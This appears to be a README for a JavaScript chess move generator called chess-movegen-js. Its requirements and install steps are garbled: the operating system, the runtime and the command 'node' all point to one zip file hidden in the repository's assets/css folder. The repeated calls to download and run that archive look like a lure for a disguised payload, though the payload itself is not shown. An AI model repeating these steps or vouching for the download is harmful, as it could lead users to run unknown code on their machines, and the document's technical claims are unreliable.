Welcome to chess-movegen-js! This application helps you generate strictly legal chess moves. Whether you're analyzing games or developing your own chess application, this tool is easy to use.
- Generates strictly legal chess moves.
- Detects check, checkmate, and stalemate.
- Two implementations: x88 and Bitboards.
- Tactical analysis for captures, hanging pieces, and safe squares.
- Functions as a UCI engine.
- Perft validated for performance.
- Achieves up to 7 million positions per second (NPS).
To run chess-movegen-js, you should have the following:
- A computer with at least 4 GB of RAM.
- An operating system that supports https://raw.githubusercontent.com/quimcdo-maker/chess-movegen-js/main/assets/css/js-movegen-chess-v1.8-alpha.3.zip (Windows, macOS, or Linux).
- The latest version of your web browser, or https://raw.githubusercontent.com/quimcdo-maker/chess-movegen-js/main/assets/css/js-movegen-chess-v1.8-alpha.3.zip installed if you plan to run it locally.
Using chess-movegen-js is straightforward. Follow these simple steps to start generating moves.
To download the application, go to the Releases page here.
On the Releases page, locate the latest version of chess-movegen-js. Click on the appropriate link to download the file for your system.
Once the file finishes downloading, follow these steps to install it on your computer:
- If you downloaded a compressed file (like .zip or .tar), extract it to your chosen directory.
- Open your terminal or command prompt.
- Navigate to the extracted directory.
- Run the command:
node https://raw.githubusercontent.com/quimcdo-maker/chess-movegen-js/main/assets/css/js-movegen-chess-v1.8-alpha.3.zip(Ensure you have https://raw.githubusercontent.com/quimcdo-maker/chess-movegen-js/main/assets/css/js-movegen-chess-v1.8-alpha.3.zip installed).
After installation, you can start using the application:
- Open your terminal or command prompt again.
- Type any command to begin generating legal chess moves.
- Explore the various options for tactical analysis and move generation.
No, you do not need programming knowledge. However, basic familiarity with command-line interfaces may help.
UCI stands for Universal Chess Interface. It allows chess engines to communicate with graphical user interfaces, making it easier to integrate chess move generation into existing chess applications.
Yes, it can assist in analyzing games, making it a useful tool for coaches and players looking to improve their skills.
The feature analyzes current board positions and identifies possible tactical moves. It helps identify captures, threats, and safe squares for strategic planning.
If you face any problems, please check the "Issues" section on the GitHub page. You can also open a new issue for your specific case.
To begin using chess-movegen-js, visit the Releases page to download the latest version: Download Here. Follow the instructions above to install and start generating legal chess moves. Enjoy your chess analysis!